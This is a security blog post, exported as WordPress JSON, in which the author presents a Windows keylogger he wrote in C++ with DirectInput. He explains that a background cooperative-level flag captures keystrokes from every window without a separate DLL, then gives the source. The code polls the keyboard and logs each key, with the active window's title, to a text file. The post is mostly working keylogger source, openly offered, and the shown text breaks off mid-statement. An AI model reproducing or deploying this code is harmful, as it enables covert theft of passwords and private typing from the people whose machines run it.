{"id":1462,"date":"2017-07-25T02:52:46","date_gmt":"2017-07-25T02:52:46","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=1462"},"modified":"2017-07-25T02:52:46","modified_gmt":"2017-07-25T02:52:46","slug":"keylogger-using-directx","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2017\/07\/keylogger-using-directx\/","title":{"rendered":"KeyLogger using DirectX"},"content":{"rendered":"

Howdy!<\/p>\n

With that painful PIN crap behind me, I can finally be creative again. Today I wrote up a keylogger using C++ and DirectX. I normally dislike C++ because of the bloat, but DirectX and C don’t always play nicely. <\/p>\n

I’ve talked about keyloggers in the past, and even wrote one using traditional means<\/a>. Traditionally, one hooks all Window Messages<\/a>, specifically the KeyDown \/ KeyUp ones with a call to the SetWindowsHookEx<\/a> API. You write your program that makes use of the API up as a DLL file in order to be shared among other processes and hook all Window Message events. <\/p>\n

The DirectX method is a little different. Direct Input<\/a> is an extension of DirectX that allows for precise control of the mouse, keyboard, and joysticks for use in graphics programming and games.
\n\"\"<\/a><\/p>\n

Of particular interest is the SetCooperativeLevel<\/a> method offered through the DirectInput method. The ‘flags’ parameter of ‘DISCL_BACKGROUND’ allows us to monitor all windows for activity. This means we don’t need a separate DLL to monitor all other windows – neato!<\/p>\n

Caveats, always with the caveats. The problem with using Direct Input to monitor key stokes is somewhat glaring: there is no distinction between capital and lowercase letters. Unlike traditional methods where we grab the scan code associated with the keystroke (wparam \/ lparam within WM_KEYDOWN \/ WM_KEYUP), we are limited to base letters. So we are trading off this lack of functionality for a lack of needing 2 files (main exe and dll). A fine trade. <\/p>\n

Now for some codes!<\/p>\n

<\/p>\n

\n
include<\/span> "stdafx.h"<\/span>\r\n#include "DirectX_fuckery.h"<\/span>\r\n#include <d3d9.h><\/span>\r\n#include <d3dx9.h><\/span>\r\n#include <dinput.h><\/span>\r\n#pragma comment (lib, "d3dx9.lib")<\/span>\r\n#pragma comment (lib, "d3d9.lib")<\/span>\r\n#pragma comment (lib, "dinput8.lib")<\/span>\r\n#pragma comment (lib, "dxguid.lib")<\/span>\r\n#include <string><\/span>\r\n#include <atlstr.h><\/span>\r\n\r\n#define MAX_LOADSTRING 100<\/span>\r\n\r\n\/\/ Global Variables:<\/span>\r\nusing<\/span> namespace<\/span> std<\/span>;<\/span>\r\n\r\n\r\nofstream<\/span> outfile<\/span>;<\/span>\r\nHINSTANCE<\/span> hInst<\/span>;<\/span>\t\t\t\t\t\t\t\t\/\/ current instance<\/span>\r\nTCHAR<\/span> szTitle<\/span>[<\/span>MAX_LOADSTRING<\/span>];<\/span>\t\t\t\t\t\/\/ The title bar text<\/span>\r\nTCHAR<\/span> szWindowClass<\/span>[<\/span>MAX_LOADSTRING<\/span>];<\/span>\t\t\t\/\/ the main window class name<\/span>\r\nLPDIRECTINPUT8<\/span>\t\t\tdin<\/span>;<\/span>\r\nLPDIRECTINPUTDEVICE8<\/span>\tdinkeyboard<\/span>;<\/span>\r\nstatic<\/span> BYTE<\/span> Keys<\/span>[<\/span>256<\/span>];<\/span>\r\n\r\n\r\n\/\/ Forward declarations of functions included in this code module:<\/span>\r\nATOM<\/span>\t\t\t\tMyRegisterClass<\/span>(<\/span>HINSTANCE<\/span> hInstance<\/span>);<\/span>\r\nBOOL<\/span>\t\t\t\tInitInstance<\/span>(<\/span>HINSTANCE<\/span>,<\/span> int<\/span>);<\/span>\r\nLRESULT<\/span> CALLBACK<\/span>\tWndProc<\/span>(<\/span>HWND<\/span>,<\/span> UINT<\/span>,<\/span> WPARAM<\/span>,<\/span> LPARAM<\/span>);<\/span>\r\nINT_PTR<\/span> CALLBACK<\/span>\tAbout<\/span>(<\/span>HWND<\/span>,<\/span> UINT<\/span>,<\/span> WPARAM<\/span>,<\/span> LPARAM<\/span>);<\/span>\r\nvoid<\/span> InitDirectInput<\/span>(<\/span>HINSTANCE<\/span> hInstance<\/span>,<\/span> HWND<\/span> gw<\/span>);<\/span>\r\nvoid<\/span> GetKeys<\/span>(<\/span>BYTE<\/span>*<\/span> KeyState<\/span>);<\/span>\r\nvoid<\/span> CloseDirectInput<\/span>(<\/span>void<\/span>);<\/span>\r\nstring<\/span>  GetCurrentWindowInfo<\/span>(<\/span>void<\/span>);<\/span>\r\n\r\n\r\nbool<\/span> KeyDown<\/span>(<\/span>int<\/span> key<\/span>)<\/span>\r\n{<\/span>\r\n#define KEYDOWN(name, key) (name[key] & 0x80)\t<\/span>\r\n\treturn<\/span> (<\/span>KEYDOWN<\/span>(<\/span>Keys<\/span>,<\/span> key<\/span>)<\/span> !=<\/span> 0<\/span>);<\/span>\r\n}<\/span>\r\n\r\nint<\/span> APIENTRY<\/span> _tWinMain<\/span>(<\/span>_In_<\/span> HINSTANCE<\/span> hInstance<\/span>,<\/span>\r\n                     _In_opt_<\/span> HINSTANCE<\/span> hPrevInstance<\/span>,<\/span>\r\n                     _In_<\/span> LPTSTR<\/span>    lpCmdLine<\/span>,<\/span>\r\n                     _In_<\/span> int<\/span>       nCmdShow<\/span>)<\/span>\r\n{<\/span>\r\n\tUNREFERENCED_PARAMETER<\/span>(<\/span>hPrevInstance<\/span>);<\/span>\r\n\tUNREFERENCED_PARAMETER<\/span>(<\/span>lpCmdLine<\/span>);<\/span>\r\n\r\n\toutfile<\/span>.<\/span>open<\/span>(<\/span>"strokes.txt"<\/span>);<\/span> \/\/ add location?<\/span>\r\n \t\/\/ TODO: Place code here.<\/span>\r\n\tMSG<\/span> msg<\/span>;<\/span>\r\n\tHACCEL<\/span> hAccelTable<\/span>;<\/span>\r\n\r\n\t\/\/ Initialize global strings<\/span>\r\n\tLoadString<\/span>(<\/span>hInstance<\/span>,<\/span> IDS_APP_TITLE<\/span>,<\/span> szTitle<\/span>,<\/span> MAX_LOADSTRING<\/span>);<\/span>\r\n\tLoadString<\/span>(<\/span>hInstance<\/span>,<\/span> IDC_DIRECTX_FUCKERY<\/span>,<\/span> szWindowClass<\/span>,<\/span> MAX_LOADSTRING<\/span>);<\/span>\r\n\tMyRegisterClass<\/span>(<\/span>hInstance<\/span>);<\/span>\r\n\r\n\t\/\/ Perform application initialization:<\/span>\r\n\tif<\/span> (<\/span>!<\/span>InitInstance<\/span> (<\/span>hInstance<\/span>,<\/span> nCmdShow<\/span>))<\/span>\r\n\t{<\/span>\r\n\t\treturn<\/span> FALSE<\/span>;<\/span>\r\n\t}<\/span>\r\n\thAccelTable<\/span> =<\/span> LoadAccelerators<\/span>(<\/span>hInstance<\/span>,<\/span> MAKEINTRESOURCE<\/span>(<\/span>IDC_DIRECTX_FUCKERY<\/span>));<\/span>\r\n\t\/\/ Main message loop:<\/span>\r\n\twhile<\/span> (<\/span>GetMessage<\/span>(<\/span>&<\/span>msg<\/span>,<\/span> NULL<\/span>,<\/span> 0<\/span>,<\/span> 0<\/span>))<\/span>\r\n\t{<\/span>\r\n\t\tif<\/span> (<\/span>!<\/span>TranslateAccelerator<\/span>(<\/span>msg<\/span>.<\/span>hwnd<\/span>,<\/span> hAccelTable<\/span>,<\/span> &<\/span>msg<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\tTranslateMessage<\/span>(<\/span>&<\/span>msg<\/span>);<\/span>\r\n\t\t\tDispatchMessage<\/span>(<\/span>&<\/span>msg<\/span>);<\/span>\r\n\t\t}<\/span>\r\n\t}<\/span>\r\n\r\n\treturn<\/span> (<\/span>int<\/span>)<\/span> msg<\/span>.<\/span>wParam<\/span>;<\/span>\r\n}<\/span>\r\n\r\nATOM<\/span> MyRegisterClass<\/span>(<\/span>HINSTANCE<\/span> hInstance<\/span>)<\/span>\r\n{<\/span>\r\n\tWNDCLASSEX<\/span> wcex<\/span>;<\/span>\r\n\r\n\twcex<\/span>.<\/span>cbSize<\/span> =<\/span> sizeof<\/span>(<\/span>WNDCLASSEX<\/span>);<\/span>\r\n\r\n\twcex<\/span>.<\/span>style<\/span>\t\t\t=<\/span> CS_HREDRAW<\/span> |<\/span> CS_VREDRAW<\/span>;<\/span>\r\n\twcex<\/span>.<\/span>lpfnWndProc<\/span>\t=<\/span> WndProc<\/span>;<\/span>\r\n\twcex<\/span>.<\/span>cbClsExtra<\/span>\t\t=<\/span> 0<\/span>;<\/span>\r\n\twcex<\/span>.<\/span>cbWndExtra<\/span>\t\t=<\/span> 0<\/span>;<\/span>\r\n\twcex<\/span>.<\/span>hInstance<\/span>\t\t=<\/span> hInstance<\/span>;<\/span>\r\n\twcex<\/span>.<\/span>hIcon<\/span>\t\t\t=<\/span> LoadIcon<\/span>(<\/span>hInstance<\/span>,<\/span> MAKEINTRESOURCE<\/span>(<\/span>IDI_DIRECTX_FUCKERY<\/span>));<\/span>\r\n\twcex<\/span>.<\/span>hCursor<\/span>\t\t=<\/span> LoadCursor<\/span>(<\/span>NULL<\/span>,<\/span> IDC_ARROW<\/span>);<\/span>\r\n\twcex<\/span>.<\/span>hbrBackground<\/span>\t=<\/span> (<\/span>HBRUSH<\/span>)(<\/span>COLOR_WINDOW<\/span>+<\/span>1<\/span>);<\/span>\r\n\twcex<\/span>.<\/span>lpszMenuName<\/span>\t=<\/span> MAKEINTRESOURCE<\/span>(<\/span>IDC_DIRECTX_FUCKERY<\/span>);<\/span>\r\n\twcex<\/span>.<\/span>lpszClassName<\/span>\t=<\/span> szWindowClass<\/span>;<\/span>\r\n\twcex<\/span>.<\/span>hIconSm<\/span>\t\t=<\/span> LoadIcon<\/span>(<\/span>wcex<\/span>.<\/span>hInstance<\/span>,<\/span> MAKEINTRESOURCE<\/span>(<\/span>IDI_SMALL<\/span>));<\/span>\r\n\r\n\treturn<\/span> RegisterClassEx<\/span>(<\/span>&<\/span>wcex<\/span>);<\/span>\r\n}<\/span>\r\n\r\nBOOL<\/span> InitInstance<\/span>(<\/span>HINSTANCE<\/span> hInstance<\/span>,<\/span> int<\/span> nCmdShow<\/span>)<\/span>\r\n{<\/span>\r\n   HWND<\/span> hWnd<\/span>;<\/span>\r\n\r\n   hInst<\/span> =<\/span> hInstance<\/span>;<\/span> \r\n\r\n   hWnd<\/span> =<\/span> CreateWindow<\/span>(<\/span>szWindowClass<\/span>,<\/span> szTitle<\/span>,<\/span> WS_BORDER<\/span>,<\/span>\r\n      CW_USEDEFAULT<\/span>,<\/span> 0<\/span>,<\/span> 300<\/span>,<\/span> 300<\/span>,<\/span> NULL<\/span>,<\/span> NULL<\/span>,<\/span> hInstance<\/span>,<\/span> NULL<\/span>);<\/span>\r\n\r\n   if<\/span> (<\/span>!<\/span>hWnd<\/span>)<\/span>\r\n   {<\/span>\r\n      return<\/span> FALSE<\/span>;<\/span>\r\n   }<\/span>\r\n\r\n   ShowWindow<\/span>(<\/span>hWnd<\/span>,<\/span> nCmdShow<\/span>);<\/span>\r\n   UpdateWindow<\/span>(<\/span>hWnd<\/span>);<\/span>\r\n   SetTimer<\/span>(<\/span>hWnd<\/span>,<\/span> 3809218<\/span>,<\/span> 150<\/span>,<\/span> (<\/span>TIMERPROC<\/span>)<\/span>NULL<\/span>);<\/span>\r\n   return<\/span> TRUE<\/span>;<\/span>\r\n}<\/span>\r\n\r\nLRESULT<\/span> CALLBACK<\/span> WndProc<\/span>(<\/span>HWND<\/span> hWnd<\/span>,<\/span> UINT<\/span> message<\/span>,<\/span> WPARAM<\/span> wParam<\/span>,<\/span> LPARAM<\/span> lParam<\/span>)<\/span>\r\n{<\/span>\r\n\tint<\/span> wmId<\/span>,<\/span> wmEvent<\/span>;<\/span>\r\n\tPAINTSTRUCT<\/span> ps<\/span>;<\/span>\r\n\tHDC<\/span> hdc<\/span>;<\/span>\r\n\r\n\tswitch<\/span> (<\/span>message<\/span>)<\/span>\r\n\t{<\/span>\r\n\tcase<\/span> WM_COMMAND<\/span>:\r\n\t\twmId<\/span>    =<\/span> LOWORD<\/span>(<\/span>wParam<\/span>);<\/span>\r\n\t\twmEvent<\/span> =<\/span> HIWORD<\/span>(<\/span>wParam<\/span>);<\/span>\r\n\t\tswitch<\/span> (<\/span>wmId<\/span>)<\/span>\r\n\t\t{<\/span>\r\n\t\tcase<\/span> IDM_ABOUT<\/span>:\r\n\t\t\tDialogBox<\/span>(<\/span>hInst<\/span>,<\/span> MAKEINTRESOURCE<\/span>(<\/span>IDD_ABOUTBOX<\/span>),<\/span> hWnd<\/span>,<\/span> About<\/span>);<\/span>\r\n\t\t\tbreak<\/span>;<\/span>\r\n\t\tcase<\/span> IDM_EXIT<\/span>:\r\n\t\t\tDestroyWindow<\/span>(<\/span>hWnd<\/span>);<\/span>\r\n\t\t\tbreak<\/span>;<\/span>\r\n\t\tdefault:<\/span>\r\n\t\t\treturn<\/span> DefWindowProc<\/span>(<\/span>hWnd<\/span>,<\/span> message<\/span>,<\/span> wParam<\/span>,<\/span> lParam<\/span>);<\/span>\r\n\t\t}<\/span>\r\n\t\tbreak<\/span>;<\/span>\r\n\tcase<\/span> WM_TIMER<\/span>:\r\n\t\t\r\n\t\tGetKeys<\/span>(<\/span>&<\/span>Keys<\/span>[<\/span>0<\/span>]);<\/span>\r\n\t\tbreak<\/span>;<\/span>\r\n\tcase<\/span> WM_PAINT<\/span>:\r\n\t\thdc<\/span> =<\/span> BeginPaint<\/span>(<\/span>hWnd<\/span>,<\/span> &<\/span>ps<\/span>);<\/span>\r\n\t\tInitDirectInput<\/span>(<\/span>hInst<\/span>,<\/span> hWnd<\/span>);<\/span> \/\/ first run, we init direct input<\/span>\r\n\t\tEndPaint<\/span>(<\/span>hWnd<\/span>,<\/span> &<\/span>ps<\/span>);<\/span>\r\n\t\tbreak<\/span>;<\/span>\r\n\tcase<\/span> WM_DESTROY<\/span>:\r\n\t\toutfile<\/span>.<\/span>close<\/span>();<\/span>\r\n\t\tCloseDirectInput<\/span>();<\/span> \/\/ dont need uit, unacquire<\/span>\r\n\t\tPostQuitMessage<\/span>(<\/span>0<\/span>);<\/span>\r\n\t\tbreak<\/span>;<\/span>\r\n\tdefault:<\/span>\r\n\t\treturn<\/span> DefWindowProc<\/span>(<\/span>hWnd<\/span>,<\/span> message<\/span>,<\/span> wParam<\/span>,<\/span> lParam<\/span>);<\/span>\r\n\t}<\/span>\r\n\treturn<\/span> 0<\/span>;<\/span>\r\n}<\/span>\r\n\r\n\/\/ Message handler for about box.<\/span>\r\nINT_PTR<\/span> CALLBACK<\/span> About<\/span>(<\/span>HWND<\/span> hDlg<\/span>,<\/span> UINT<\/span> message<\/span>,<\/span> WPARAM<\/span> wParam<\/span>,<\/span> LPARAM<\/span> lParam<\/span>)<\/span>\r\n{<\/span>\r\n\tUNREFERENCED_PARAMETER<\/span>(<\/span>lParam<\/span>);<\/span>\r\n\tswitch<\/span> (<\/span>message<\/span>)<\/span>\r\n\t{<\/span>\r\n\tcase<\/span> WM_INITDIALOG<\/span>:\r\n\t\treturn<\/span> (<\/span>INT_PTR<\/span>)<\/span>TRUE<\/span>;<\/span>\r\n\r\n\tcase<\/span> WM_COMMAND<\/span>:\r\n\t\tif<\/span> (<\/span>LOWORD<\/span>(<\/span>wParam<\/span>)<\/span> ==<\/span> IDOK<\/span> ||<\/span> LOWORD<\/span>(<\/span>wParam<\/span>)<\/span> ==<\/span> IDCANCEL<\/span>)<\/span>\r\n\t\t{<\/span>\r\n\t\t\tEndDialog<\/span>(<\/span>hDlg<\/span>,<\/span> LOWORD<\/span>(<\/span>wParam<\/span>));<\/span>\r\n\t\t\treturn<\/span> (<\/span>INT_PTR<\/span>)<\/span>TRUE<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tbreak<\/span>;<\/span>\r\n\t}<\/span>\r\n\treturn<\/span> (<\/span>INT_PTR<\/span>)<\/span>FALSE<\/span>;<\/span>\r\n}<\/span>\r\n\r\nvoid<\/span> InitDirectInput<\/span>(<\/span>HINSTANCE<\/span> hInstance<\/span>,<\/span> HWND<\/span> gw<\/span>)<\/span>\r\n{<\/span>\r\n\tDirectInput8Create<\/span>(<\/span>hInstance<\/span>,<\/span> DIRECTINPUT_VERSION<\/span>,<\/span> IID_IDirectInput8<\/span>,<\/span> (<\/span>void<\/span>**<\/span>)<\/span>&<\/span>din<\/span>,<\/span>\tNULL<\/span>);<\/span>\r\n\tdin<\/span>-><\/span>CreateDevice<\/span>(<\/span>GUID_SysKeyboard<\/span>,<\/span> &<\/span>dinkeyboard<\/span>,<\/span> NULL<\/span>);<\/span>\r\n\tdinkeyboard<\/span>-><\/span>SetDataFormat<\/span>(<\/span>&<\/span>c_dfDIKeyboard<\/span>);<\/span>\r\n\tdinkeyboard<\/span>-><\/span>SetCooperativeLevel<\/span>(<\/span>gw<\/span>,<\/span> DISCL_NONEXCLUSIVE<\/span> |<\/span> DISCL_BACKGROUND<\/span>);<\/span>\r\n\treturn<\/span>;<\/span>\r\n}<\/span>\r\n\r\nvoid<\/span> CloseDirectInput<\/span>(<\/span>void<\/span>)<\/span>\r\n{<\/span>\r\n\tdinkeyboard<\/span>-><\/span>Unacquire<\/span>();<\/span>\r\n\tdin<\/span>-><\/span>Release<\/span>();<\/span>\r\n\treturn<\/span>;<\/span>\r\n}<\/span>\r\n\r\nvoid<\/span> GetKeys<\/span>(<\/span>BYTE<\/span> *<\/span>KeyState<\/span>){<\/span>\r\n\t\/\/ https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ee418641(v=vs.85).aspx <\/span>\r\n\t\/\/ ^^ DIRECTINPUT enum<\/span>\r\n\tHRESULT<\/span> hr<\/span>;<\/span>\r\n\thr<\/span> =<\/span> dinkeyboard<\/span>-><\/span>GetDeviceState<\/span>(<\/span>256<\/span>,<\/span> (<\/span>LPVOID<\/span>)<\/span>KeyState<\/span>);<\/span>\r\n\t\tif<\/span> (<\/span>FAILED<\/span>(<\/span>hr<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\tZeroMemory<\/span>(<\/span>Keys<\/span>,<\/span> 256<\/span>);<\/span> \/\/ zero out old keys info after each iteration.<\/span>\r\n\t\t\tdinkeyboard<\/span>-><\/span>Acquire<\/span>();<\/span> \r\n\t\t\treturn<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_A<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: A"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_B<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: B"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_C<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: C"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_D<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: D"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_E<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: E"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_F<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: F"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_G<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: G"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_H<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: H"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_I<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: I"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_J<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: J"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_K<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: K"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_L<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: L"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_M<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: M"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_N<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: N"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_O<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: O"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_P<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: P"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_Q<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: Q"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_R<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: R"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_S<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: S"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_T<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: T"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_U<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: U"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_V<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: V"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_W<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: W"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_X<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: X"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_Y<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: Y"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_Z<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: Z"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_CAPITAL<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: CAPS LOCK"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_DELETE<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: DELETE KEY"<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_EQUALS<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: ="<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_APOSTROPHE<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> GetCurrentWindowInfo<\/span>()<\/span> <<<\/span> "\\r\\nKey entered: \\""<\/span> <<<\/span> endl<\/span>;<\/span>\r\n\t\t}<\/span>\r\n\t\tif<\/span> (<\/span>KeyDown<\/span>(<\/span>DIK_BACK<\/span>))<\/span>\r\n\t\t{<\/span>\r\n\t\t\toutfile<\/span> <<<\/span> "Window is "<\/span> <<<\/span> 